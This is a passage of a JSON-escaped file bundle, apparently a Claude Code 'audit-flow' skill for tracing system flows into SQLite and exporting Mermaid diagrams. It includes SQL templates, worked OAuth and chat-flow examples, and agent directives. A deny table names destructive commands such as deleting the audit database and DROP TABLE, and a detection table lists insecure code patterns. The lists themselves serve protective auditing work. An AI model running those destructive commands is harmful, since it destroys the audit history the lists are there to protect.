description)\nVALUES (\n    '{session_id}',\n    '{flow-name}',\n    '{entry point description}',\n    '{optional description}'\n);\n```\n\n### List Flows in Session\n\n```sql\nSELECT * FROM v_flow_summary WHERE session_id = '{session_id}';\n```\n\n## Tuple Operations\n\n### Add Tuple\n\n```sql\nINSERT INTO tuples (flow_id, layer, action, subject, file_ref, props, notes, status)\nVALUES (\n    {flow_id},\n    '{layer}',      -- CODE | API | NETWORK | AUTH | DATA\n    '{action}',     -- e.g., \"onClick handler\"\n    '{subject}',    -- e.g., \"LoginButton\"\n    '{file_ref}',   -- e.g., \"src/components/LoginButton.tsx:24\"\n    '{}',           -- JSON props\n    '{notes}',\n    'traced'        -- traced | verified | concern | deleted\n);\n```\n\n### View Tuples\n\n```sql\n-- All tuples in flow\nSELECT id, layer, action, subject, file_ref, status\nFROM tuples WHERE flow_id = {flow_id} AND status != 'deleted'\nORDER BY timestamp;\n\n-- Filter by layer\nSELECT * FROM tuples WHERE flow_id = {flow_id} AND layer = 'AUTH';\n\n-- View concerns\nSELECT * FROM v_concerns WHERE flow_name = '{flow_name}';\n```\n\n### Update Tuple Status\n\n```sql\nUPDATE tuples SET status = 'concern' WHERE id = {id};\nUPDATE tuples SET status = 'deleted' WHERE id = {id};  -- Soft delete\n```\n\n## Edge Operations\n\n### Linear Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({from_id}, {to_id}, '{relation}');\n-- Relations: TRIGGERS | READS | WRITES | VALIDATES | TRANSFORMS\n```\n\n### Branching Edge (with condition)\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES\n    ({branch_point}, {path_a}, 'BRANCHES', 'condition A'),\n    ({branch_point}, {path_b}, 'BRANCHES', 'condition B');\n```\n\n### Merging Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({converging_tuple}, {merge_point}, 'MERGES');\n```\n\n### View Edges\n\n```sql\nSELECT e.*, t1.action as from_action, t2.action as to_action\nFROM edges e\nJOIN tuples t1 ON e.from_tuple = t1.id\nJOIN tuples t2 ON e.to_tuple = t2.id\nWHERE t1.flow_id = {flow_id};\n```\n\n### Detect Non-Linear Points\n\n```sql\nSELECT * FROM v_branch_merge_points WHERE flow_name = '{flow_name}';\n```\n\n## Findings\n\n### Add Finding\n\n```sql\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    '{session_id}',\n    {flow_id},      -- Optional: NULL for session-level finding\n    '{severity}',   -- critical | high | medium | low | info\n    '{category}',   -- e.g., \"token-storage\", \"auth-bypass\"\n    '{description}',\n    '[1, 2, 3]'     -- JSON array of tuple IDs\n);\n```\n\n### View Findings\n\n```sql\n-- By severity\nSELECT * FROM findings WHERE session_id = '{session_id}'\nORDER BY CASE severity\n    WHEN 'critical' THEN 1 WHEN 'high' THEN 2\n    WHEN 'medium' THEN 3 WHEN 'low' THEN 4 ELSE 5\nEND;\n\n-- Flow-specific findings\nSELECT * FROM findings WHERE flow_id = {flow_id};\n```\n\n## Export\n\n### Using CLI\n\n```bash\n# Export all flows in session\npython .claude/skills/audit-flow/scripts/audit.py export {session}\n\n# Export specific flow\npython .claude/skills/audit-flow/scripts/audit.py export {session} -f {flow}\n\n# Export specific format\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n```\n\n## Validation\n\n### Validate Flow Data\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py validate {session}\n```\n\nChecks for common issues before export:\n\n| Check             | Level | Description                                  |\n| ----------------- | ----- | -------------------------------------------- |\n| Branch conditions | ERROR | BRANCHES edges must have condition labels    |\n| Orphan nodes      | WARN  | Nodes with no edges (disconnected from flow) |\n| Duplicate labels  | WARN  | Multiple nodes with same action text         |\n| Node count > 40   | WARN  | Diagram readability threshold                |\n| Node count > 60   | ERROR | Diagram must be split into sub-flows         |\n| No entry point    | WARN  | No node with zero in-degree                  |\n\n### Output Structure\n\n```\ndocs/audits/{session-name}/\n├── README.md           # Session summary\n├── session.json        # Full session data\n├── session.yaml        # Full session data (YAML)\n├── {flow-name}.md      # Flow report\n└── {flow-name}.mermaid # Flow diagram\n```\n\n### Mermaid Output Features\n\n- **Step numbering**: Topological BFS order from entry point\n- **Entry point marker**: Green stadium-shape node (`([label]):::entryPoint`)\n- **Layer subgraphs**: Nodes sorted by step number within each layer\n- **Relation-specific arrows**:\n  - `-->` solid: TRIGGERS, VALIDATES, TRANSFORMS, BRANCHES, MERGES\n  - `-.->` dotted: READS (data consumption, no mutation)\n  - `==>` thick: WRITES (data mutation)\n- **Observation separation**: Pure concern chains in OBSERVATIONS subgraph\n- **Branch conditions**: Always shown on edge labels\n- **Label deduplication**: Duplicate actions auto-suffixed with subject\n- **Legend**: Style key at bottom of diagram\n- **Direction**: Default TD, override with `--direction LR`\n\n### Export with Direction\n\n```bash\n# Default top-down\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n\n# Horizontal layout for wide decision trees\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid --direction LR\n```\n\nExample output:\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n    classDef observation fill:#ffd43b,stroke:#fab005,stroke-dasharray:5 5\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n        L3[\"Concern\"]:::concern\n    end\n```\n\n## Git Merge Driver\n\n### Setup (once per clone)\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nConfigures:\n\n- `merge.sqlite-audit.driver` — auto-merges `audit.db` on `git merge`\n- `diff.sqlite.textconv` — shows SQL dump in `git diff`\n\nRequires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How the merge driver works\n\nGit calls: `audit.py db-merge %O %A %B`\n\n- `%O` = common ancestor (unused — full union merge)\n- `%A` = ours (result written here)\n- `%B` = theirs\n\nThe driver:\n\n1. Opens both SQLite DBs directly\n2. Merges sessions by `name` (later `updated_at` wins)\n3. Flows follow parent session winner\n4. Tuples/edges follow parent flow\n5. Findings deduped by `(session_name, category, description)`\n6. All INTEGER PKs remapped; foreign keys updated\n7. Result written to `%A`, exit 0 = success\n\n### Manual merge (if needed)\n\n```bash\n# If the auto-driver fails (exit 1), merge manually:\npython .claude/skills/audit-flow/scripts/audit.py db-merge ancestor.db ours.db theirs.db\n```\n\n## CSV Backup (Optional)\n\nCSV commands still available for backup/portability:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # CSV → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge CSV sets\n```\n\nCSV uses `QUOTE_ALL`, deterministic PK sort, multiline-safe (RFC 4180).\n\n## Views Reference\n\n| View                    | Purpose                                 |\n| ----------------------- | --------------------------------------- |\n| `v_session_summary`     | Sessions with flow/tuple/finding counts |\n| `v_flow_summary`        | Flows with tuple/concern counts         |\n| `v_layer_distribution`  | Layer breakdown per flow                |\n| `v_concerns`            | All tuples marked as concern            |\n| `v_branch_merge_points` | Non-linear nodes (branches/merges)      |\n","skills/audit-flow/EXAMPLES.md":"# Audit Flow Examples\n\n## Case 0: Non-Linear API Flow (Branching & Merging)\n\n```\n> /audit-flow start\nName: api-auth-audit\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow api-request\nEntry: \"Frontend makes authenticated API call\"\n```\n\n### Flow with Branching\n\n```\n[CODE]    fetch API         → apiClient.ts:45\n[AUTH]    check token       → authMiddleware.ts:12\n  ├─[BRANCHES: token valid]──→ [AUTH] proceed\n  └─[BRANCHES: token expired]──→ [AUTH] refresh token\n                                      │\n[AUTH]    refresh token     → tokenService.ts:88\n          │\n          └─[MERGES]──→ [API] call endpoint\n[API]     call endpoint     → handler.ts:156\n[DATA]    return response   → serializer.ts:23\n```\n\n### SQL for Branching\n\n```sql\n-- Create branch point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'check token', 'authMiddleware');  -- ID: 2\n\n-- Create branch targets\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'proceed', 'valid path'),          -- ID: 3\n(1, 'AUTH', 'refresh token', 'tokenService');  -- ID: 4\n\n-- Branch edges with conditions\nINSERT INTO edges (from_tuple, to_tuple, relation, condition) VALUES\n(2, 3, 'BRANCHES', 'token valid'),\n(2, 4, 'BRANCHES', 'token expired');\n\n-- Merge point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'API', 'call endpoint', 'handler');        -- ID: 5\n\n-- Merge edges\nINSERT INTO edges (from_tuple, to_tuple, relation) VALUES\n(3, 5, 'TRIGGERS'),\n(4, 5, 'MERGES');\n```\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n    subgraph DATA\n        T6[\"6. return response\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n    T5 -.->|\"READS\"| T6\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n    end\n```\n\n---\n\n## Case 1: Auth Login Flow (Security Audit)\n\n```\n> /audit-flow start\nName: auth-login-security\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow google-oauth\nEntry: \"User clicks Sign in with Google\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onClick handler         → src/components/LoginButton.tsx:24\n[AUTH]    OAuth redirect          → redirect to identity provider\n[NETWORK] GET /oauth/authorize    → IdP authorization endpoint\n[AUTH]    authz code received     → callback handler\n[NETWORK] POST /oauth/token       → token exchange\n[AUTH]    access_token issued     → {scopes, expiry, claims}\n[DATA]    JWT decoded             → extract org_id, user_id\n[CODE]    setSession()            → store token in memory/cookie\n[AUTH]    token in headers        → Authorization: Bearer\n[NETWORK] GET /api/me             → validate token backend\n[CODE]    middleware validates    → services/auth/middleware.go:56\n[DATA]    user context built      → {org, project, permissions}\n```\n\n### Security Checks\n\nMark as `concern` and create findings for:\n\n| Check         | What to look for                                            | Severity |\n| ------------- | ----------------------------------------------------------- | -------- |\n| Token storage | localStorage (bad) vs httpOnly cookie (good) vs memory (ok) | high     |\n| Token logging | console.log, error handlers leaking tokens                  | critical |\n| PKCE          | code_verifier/code_challenge present?                       | high     |\n| Refresh flow  | Refresh token rotation? Secure storage?                     | high     |\n| Token expiry  | Short-lived access tokens? Proper refresh?                  | medium   |\n| CORS          | Proper origin validation?                                   | medium   |\n\n### Sample Findings\n\n```sql\nINSERT INTO findings (session_id, severity, category, description, tuple_refs)\nVALUES\n('auth-login-security', 'high', 'token-storage',\n 'Access token stored in localStorage instead of httpOnly cookie - vulnerable to XSS', '[7]'),\n('auth-login-security', 'medium', 'token-logging',\n 'Token visible in Redux DevTools state - disable in production', '[7]');\n```\n\n---\n\n## Case 1b: Observations vs Flow Steps (Anti-Pattern)\n\n### Wrong: Chaining Observations as Tuples\n\nWhen you discover a security concern, do NOT create observation tuples chained with VALIDATES:\n\n```sql\n-- WRONG: These are analyst notes, not system actions\nINSERT INTO tuples (flow_id, layer, action, subject, status) VALUES\n(1, 'CODE', 'NO cross-tab sync', 'TabManager', 'concern'),          -- T10\n(1, 'AUTH', 'Replay attack possible', 'tokenService', 'concern');    -- T11\n\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (10, 11, 'VALIDATES');  -- WRONG: creates unreadable concern chain\n```\n\nThis produces diagrams where analyst notes are indistinguishable from system flow steps.\n\n### Correct: Use Findings\n\n```sql\n-- CORRECT: Observation recorded as a finding\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    'my-session', 1, 'medium', 'concurrency',\n    'No cross-tab synchronization: replay attack possible when multiple tabs refresh tokens simultaneously',\n    '[196, 226, 227]'  -- References the ACTUAL flow tuples where the issue manifests\n);\n```\n\nFindings appear in the Markdown export report, not cluttering the visual flow diagram.\n\n---\n\n## Case 2: Chat Question Flow (Documentation)\n\n```\n> /audit-flow start\nName: chat-documentation\nPurpose: documentation\nGranularity: coarse\n\n> /audit-flow flow question-to-results\nEntry: \"User submits question in chat UI\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onSubmit handler        → src/components/ChatInput.tsx\n[NETWORK] POST /api/chat/stream   → chat service\n[AUTH]    token validated         → middleware extracts org_id, project_id\n[API]     chat service receives   → services/chat/main.py\n[DATA]    load project context    → knowledge-base service\n[API]     agent invoked           → services/chat/agent/\n[DATA]    schema lookup           → get relevant tables/columns\n[CODE]    SQL generation          → agent node\n[NETWORK] POST /analytics/query   → analytics service\n[DATA]    query execution         → OLAP engine\n[DATA]    results transform       → format for frontend\n[NETWORK] SSE stream              → chunked response to frontend\n[CODE]    render results          → ChatMessage component\n```\n\n### Documentation Output\n\nThe export should produce:\n\n- Sequence diagram of service interactions\n- Data flow: question → SQL → results\n- Auth context propagation across services\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph Frontend\n        A[ChatInput.tsx]\n        M[ChatMessage]\n    end\n\n    subgraph Chat Service\n        B[POST /api/chat/stream]\n        C[Auth Middleware]\n        D[AI Agent]\n        E[SQL Generator]\n    end\n\n    subgraph Knowledge Service\n        F[Project Context]\n        G[Schema Lookup]\n    end\n\n    subgraph Analytics Service\n        H[POST /analytics/query]\n        I[OLAP Engine]\n    end\n\n    A -->|TRIGGERS| B\n    B -->|VALIDATES| C\n    C -->|TRIGGERS| D\n    D -->|READS| F\n    D -->|READS| G\n    D -->|TRIGGERS| E\n    E -->|TRIGGERS| H\n    H -->|READS| I\n    I -->|TRANSFORMS| M\n```\n\n---\n\n## Case 3: Flow Ideation (Design New Feature)\n\n```\n> /audit-flow start\nName: export-feature-design\nPurpose: ideation\nGranularity: coarse\n\n> /audit-flow flow csv-export\nEntry: \"User clicks Export to CSV on results\"\n```\n\n### Sketched Flow (no code yet)\n\n```\n[CODE]    export button click     → ExportButton component (to create)\n[API]     POST /api/export        → new endpoint needed\n[AUTH]    check export permission → new permission type?\n[DATA]    fetch cached results    → from Redis? or re-query?\n[CODE]    CSV formatter           → new util function\n[NETWORK] stream file download    → chunked response\n[CODE]    browser download trigger→ blob URL\n```\n\n### Ideation Questions (record as notes)\n\nAdd these as `notes` on relevant tuples:\n\n| Tuple                         | Question                                                   |\n| ----------------------------- | ---------------------------------------------------------- |\n| DATA: fetch cached results    | Cache strategy: Redis TTL? Re-query for freshness?         |\n| API: POST /api/export         | Rate limit exports? Per-user? Per-project?                 |\n| AUTH: check export permission | New permission: `project:export`? Or reuse `project:read`? |\n| NETWORK: stream file download | Large results: stream or paginate? Memory limits?          |\n| CODE: CSV formatter           | Support other formats? xlsx, json, parquet?                |\n\n### Design Decisions to Document\n\nAfter ideation, convert key decisions to implementation notes:\n\n```sql\nUPDATE tuples SET props = json_set(props, '$.decision', 'Use Redis with 15min TTL, re-query if expired')\nWHERE id = 4;\n\nUPDATE tuples SET props = json_set(props, '$.decision', 'Stream results, 10MB max per export')\nWHERE id = 6;\n```\n\n---\n\n## Static Analysis Guidelines\n\n**Code reading only. No runtime instrumentation.**\n\n### What to Follow\n\n- Import statements (module dependencies)\n- Function calls (especially cross-service)\n- API client invocations (fetch, axios, http clients)\n- Auth middleware chains (decorators, middleware arrays)\n- Data transformations (serializers, formatters)\n\n### Security Patterns to Flag\n\n| Pattern                             | Risk                | Severity |\n| ----------------------------------- | ------------------- | -------- |\n| `console.log(token)`                | Token leakage       | critical |\n| `localStorage.setItem('token',...)` | XSS vulnerability   | high     |\n| String concatenation in SQL         | SQL injection       | critical |\n| `dangerouslySetInnerHTML`           | XSS                 | high     |\n| Missing auth middleware             | Auth bypass         | critical |\n| Hardcoded secrets                   | Credential exposure | critical |\n| `eval()`, `new Function()`          | Code injection      | critical |\n","skills/audit-flow/SKILL.md":"---\nname: audit-flow\ndescription: Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems. Triggers on audit, trace flow, document flow, security review, debug flow, brainstorm, architecture review, post-mortem, incident review.\nlicense: MIT\ncompatibility: Requires Python 3.8+ (stdlib only, zero dependencies). Optional pyyaml for YAML export. Git for merge/diff driver features.\nmetadata:\n  author: ArunJRK\n  version: \"1.0.0\"\n---\n\n## ⚠️ MANDATORY ENTRY POINT — Execute Before ANY Other Action\n\n**Step 1: Read schema.sql**\n\n```bash\n# ALWAYS read the schema first to understand tables, constraints, views\ncat .claude/skills/audit-flow/schema.sql\n```\n\n**Step 2: Check if DB exists — NEVER recreate**\n\n```bash\n# Check for existing database\nls -la .audit/audit.db 2>/dev/null && echo \"DB EXISTS - DO NOT RECREATE\" || echo \"No DB - safe to init\"\n```\n\n**Step 3: If DB exists, show current state**\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py list\n```\n\n### 🚫 FORBIDDEN ACTIONS\n\n| Action                                                | Why Forbidden            |\n| ----------------------------------------------------- | ------------------------ |\n| `rm .audit/audit.db`                                  | Destroys audit history   |\n| `audit.py init` when DB exists                        | Overwrites existing data |\n| `DROP TABLE`                                          | Destroys audit history   |\n| `sqlite3 .audit/audit.db < schema.sql` when DB exists | Overwrites existing data |\n\n**Rule:** If `.audit/audit.db` exists, ONLY use `audit.py list`, `show`, `export`, or INSERT operations. NEVER recreate.\n\n---\n\n# Audit Flow\n\nInteractive tracing of system flows with SQLite persistence. Supports multiple named flows per session, non-linear flows (branching/merging), and multi-format exports.\n\n## Organization Principles\n\n**Directory structure by purpose:**\n\n- **Audits/Documentation/Compliance:** `docs/audits/{name}-{YYYY-MM-DD}/`\n- **Ideation/Brainstorming:** `docs/ideation/{name}-{YYYY-MM-DD}.md` (single file, no subdirectory unless artifacts needed)\n- **Debugging/Incident Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures evidence)\n- **Architecture Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures structural analysis)\n\n**Required files:**\n\n- INDEX.md (manifest, entry point)\n- README.md (executive summary)\n- {name}-audit.md (flow trace)\n\n**Lazy initialization:** Create subdirectories only when artifacts exist\n\n- `screenshots/` `network-traces/` `diagrams/` `code-samples/` `test-results/` `evidence/`\n\n**Naming:** `{audit-name}-{type}.md`\n\n## DB-First Discipline\n\n**Invariant:** SQLite = sole source of truth. Context window: volatile, compacts without notice, hallucinates state.\n\n**🚨 CRITICAL: NEVER DESTROY EXISTING DATA**\n\n- If `.audit/audit.db` exists → it contains irreplaceable audit history\n- NEVER run `init` when DB exists — use `list` to see what's there\n- NEVER delete, drop, or recreate — only append\n\n**Constraints:**\n\n| Operation   | Rule                                                                                      | Blocked rationalization              |\n| ----------- | ----------------------------------------------------------------------------------------- | ------------------------------------ |\n| **Entry**   | Read `schema.sql` FIRST, check if DB exists SECOND                                        | \"I'll just start working\"            |\n| **Init**    | ONLY if `.audit/audit.db` does NOT exist                                                  | \"Let me reinitialize to start fresh\" |\n| Schema      | Read `schema.sql` BEFORE any SQLite command — understand tables, constraints, views first | \"I know the schema from context\"     |\n| Write       | INSERT each tuple/edge/finding before moving to the next code location                    | \"I'll batch-insert at the end\"       |\n| Read        | SELECT from DB before referencing tuple IDs, counts, or flow structure                    | \"I remember the flow so far\"         |\n| Export      | `audit.py export` only — never generate mermaid/markdown from context                     | \"Let me generate mermaid directly\"   |\n| Resume      | `audit.py show <session>` before any operation that references prior tuples               | \"I have the full trace in context\"   |\n| Reference   | Query tuple IDs from DB — IDs are DB-assigned, never inferred                             | \"The tuple ID should be N\"           |\n| **Default** | **When uncertain of flow state → query DB before proceeding**                             | _(any unlisted rationalization)_     |\n\n**Checkpoint:** Every 5 tuples → `audit.py show <session> <flow>`\n\n---\n\n## Interactive Workflow - ALWAYS ASK USER\n\n### 1. Session Start - Ask:\n\n```\nName: ___\nPurpose: security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\nDescription: ___ (optional)\n```\n\nInitialize directory immediately. Lazily create subdirectories when artifacts are generated.\n\n### 2. Granularity - Ask:\n\n```\n[fine]   Function-level trace (~50-200 tuples)\n         Use: Security audits, debugging\n\n[coarse] Boundary-level trace (~10-30 tuples)\n         Use: Documentation, high-level flows\n\nChoose: fine / coarse\n```\n\n### 3. During Trace:\n\nAsk at decision points: trace deeper? mark concern? add finding (severity)? note?\n\n### 4. On Export:\n\nAsk format: `json | yaml | md | mermaid | all`\n\nPost-export: Generate INDEX.md manifest. Organize artifacts by type. Prune empty directories.\n\n## Quick Reference\n\n| Command                              | Purpose                                        |\n| ------------------------------------ | ---------------------------------------------- |\n| `/audit-flow start`                  | New session (name, purpose, granularity)       |\n| `/audit-flow flow {name}`            | Add new flow to session                        |\n| `/audit-flow add {layer} {desc}`     | Add tuple to current flow                      |\n| `/audit-flow link {from} {to} {rel}` | Create edge (supports conditions for branches) |\n| `/audit-flow finding {desc}`         | Record finding                                 |\n| `/audit-flow show`                   | View session/flow details                      |\n| `/audit-flow export`                 | Export (json/yaml/md/mermaid)                  |\n| `/audit-flow git-setup`              | Configure git merge/diff drivers (once)        |\n\n**Layers:** `CODE` | `API` | `NETWORK` | `AUTH` | `DATA`\n\n**Relations:** `TRIGGERS` | `READS` | `WRITES` | `VALIDATES` | `TRANSFORMS` | `BRANCHES` | `MERGES`\n\n## Semantic Rules for Relations\n\n| Relation     | Meaning                      | Use When                                      | NOT For                       |\n| ------------ | ---------------------------- | --------------------------------------------- | ----------------------------- |\n| `TRIGGERS`   | A causes B to execute        | Function calls, event handlers, HTTP requests | Static observations           |\n| `READS`      | A consumes data from B       | Cookie reads, DB queries, config lookups      | Mutations                     |\n| `WRITES`     | A mutates data in B          | Cookie writes, DB inserts, state updates      | Read-only access              |\n| `VALIDATES`  | A checks/verifies B          | Auth checks, input validation, expiry checks  | Chaining analyst observations |\n| `TRANSFORMS` | A converts/maps data for B   | Token exchange, response formatting           | Unrelated processing          |\n| `BRANCHES`   | A has conditional paths      | if/else, switch, error vs success             | **Must have condition label** |\n| `MERGES`     | Multiple paths converge at B | Parallel paths rejoin, error recovery         | Single-path flow              |\n\n**CRITICAL: BRANCHES Must Have Conditions.** Every BRANCHES edge requires a `condition` describing which path. Example: `BRANCHES [token expired]` vs `BRANCHES [token valid]`.\n\n## Observations vs Flow Steps\n\n**Flow steps** = things the SYSTEM DOES (function calls, data reads, network requests). Verified by tracing code.\n\n**Observations** = things the ANALYST NOTES (missing features, potential risks). Record as **findings**, not tuples.\n\n**Wrong pattern:**\n\n```\nT50 \"NO cross-tab sync\"       ← observation, not a system action\nT51 \"React state NOT shared\"  ← observation\nT50 --VALIDATES--> T51         ← chaining observations as flow\n```\n\n**Correct pattern:**\n\n```sql\n-- Record as finding instead:\nINSERT INTO findings (flow_id, session_id, severity, category, description)\nVALUES (?, ?, 'medium', 'state-management',\n        'No cross-tab sync: React state not shared across tabs');\n```\n\n**Rule:** NEVER chain observations with VALIDATES. If describing what the system DOESN'T do, use a finding.\n\n## Data Model\n\n```\nSession (audit container)\n  └── Flow (named DAG with entry point)\n       └── Tuple (node: layer + action + subject)\n            └── Edge (relation + optional condition)\n```\n\n## Storage & CLI\n\n```bash\n# Core\npython .claude/skills/audit-flow/scripts/audit.py init              # Initialize DB\npython .claude/skills/audit-flow/scripts/audit.py list              # List sessions\npython .claude/skills/audit-flow/scripts/audit.py show <session>    # Show flows\npython .claude/skills/audit-flow/scripts/audit.py show <session> <flow>  # Show flow details\npython .claude/skills/audit-flow/scripts/audit.py export <session>  # Export all\npython .claude/skills/audit-flow/scripts/audit.py export <session> -f <flow>  # Export one flow\npython .claude/skills/audit-flow/scripts/audit.py validate <session>         # Validate flows\n\n# Git integration\npython .claude/skills/audit-flow/scripts/audit.py git-setup         # Configure merge/diff drivers (once)\npython .claude/skills/audit-flow/scripts/audit.py db-merge %O %A %B # Git merge driver (auto-called)\n\n# CSV backup/portability (optional)\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # .audit/csv/*.csv → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge two CSV sets\n```\n\n## Non-Linear Flows\n\n**Branching:** One tuple → multiple outgoing edges with conditions\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES (5, 6, 'BRANCHES', 'token valid'),\n       (5, 7, 'BRANCHES', 'token expired');\n```\n\n**Merging:** Multiple tuples → one tuple\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (6, 8, 'TRIGGERS'),\n       (9, 8, 'MERGES');  -- refresh path merges back\n```\n\n## Files\n\n- [scripts/audit.py](scripts/audit.py) - CLI for all commands (init, list, show, export, validate, db-merge, git-setup, csv-\\*)\n- [COMMANDS.md](COMMANDS.md) - Detailed SQL reference\n- [EXAMPLES.md](EXAMPLES.md) - Full examples with non-linear flows\n- [schema.sql](schema.sql) - Database schema\n- `.gitattributes` - Git merge/diff driver config for audit.db\n\n## Git Context\n\nCapture on session start: commit hash, branch, working tree status. Include in all exports.\n\n## Mermaid Validation\n\nRun `python .claude/skills/audit-flow/scripts/audit.py validate <session>` before export.\n\n| Check                      | Severity | Description                                     |\n| -------------------------- | -------- | ----------------------------------------------- |\n| BRANCHES without condition | ERROR    | Every BRANCHES edge needs a condition label     |\n| Node count >= 60           | ERROR    | Split into sub-flows                            |\n| Node count >= 40           | WARN     | Consider splitting                              |\n| Orphan nodes               | WARN     | Node with no edges (disconnected)               |\n| Duplicate labels           | WARN     | Same action text without subject disambiguation |\n| No entry point             | WARN     | All nodes have incoming edges                   |\n\n**Post-export features (automatic):**\n\n- **Step numbers**: BFS topological order from entry point (`1. action`, `2. action`)\n- **Entry point**: Stadium shape with green styling\n- **Edge arrows**: `-->` solid (TRIGGERS/VALIDATES/TRANSFORMS/BRANCHES/MERGES), `-.->` dotted (READS), `==>` thick (WRITES)\n- **Observations**: Separated into dashed-border OBSERVATIONS subgraph\n- **Direction**: `--direction LR` flag for horizontal layouts\n\n## Diagram Readability Requirements\n\n**All diagrams MUST be produced by `audit.py export`.** Never hand-craft mermaid. The exporter enforces:\n\n1. **Entry point marker** — Green stadium-shape node `([label]):::entryPoint`\n2. **Step numbers** — BFS topological order: `1. action`, `2. action`, `3. action`\n3. **Legend block** — classDef styles for entryPoint, concern, observation\n4. **Observation separation** — Concern-only chains go to OBSERVATIONS subgraph, not main flow\n5. **Label safety** — HTML entities for `()`, `\"\"`, `<>`, `|`, `[]` characters (auto-sanitized)\n\n**Reading flow must be obvious.** A reader opening the diagram cold must immediately see:\n\n- WHERE to start (green entry node)\n- WHAT ORDER to read (step numbers)\n- WHICH PATH is happy vs error (branch conditions on edges)\n- WHAT THE COLORS MEAN (legend)\n\n**Node label rules:**\n\n- Use concrete nouns/verbs: `handleCallback()`, `exchangeCodeForTokens()`\n- NOT bare verbs: ~~\"Configure\"~~, ~~\"Select\"~~, ~~\"Enable\"~~\n- Disambiguate duplicates: auto-suffixed with subject when action repeats\n\n**Size limits:**\n\n- 40+ nodes → warning, consider splitting\n- 60+ nodes → error, MUST split into sub-flows\n- If flow has 5+ independent sub-flows → split by purpose\n\n---\n\n## Git Workflow — Custom Merge Driver\n\n**Problem:** SQLite is binary — `git merge` can't auto-resolve `.audit/audit.db`.\n\n**Solution:** Custom git merge driver. `audit.db` stays in git (small, single file). On conflict, git calls `audit.py db-merge` to auto-merge using SQL.\n\n### One-Time Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nThis configures (in `.git/config`):\n\n- **Merge driver:** `merge.sqlite-audit` — calls `audit.py db-merge %O %A %B` on conflict\n- **Diff driver:** `diff.sqlite` — `sqlite3 .dump` for readable `git diff` output\n\nAlso requires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How It Works\n\n1. You commit `audit.db` normally — `git add .audit/audit.db && git commit`\n2. `git diff` shows SQL text (via textconv)\n3. On `git merge` with conflict → git calls the merge driver automatically\n4. Driver opens both DBs, merges sessions by name (later `updated_at` wins), remaps IDs\n5. Result written to ours — merge completes cleanly\n\n### Merge Strategy\n\n| Table    | Merge Key                               | Conflict Resolution               |\n| -------- | --------------------------------------- | --------------------------------- |\n| sessions | `name` (unique)                         | Keep later `updated_at`           |\n| flows    | `(session_name, flow_name)`             | Follow 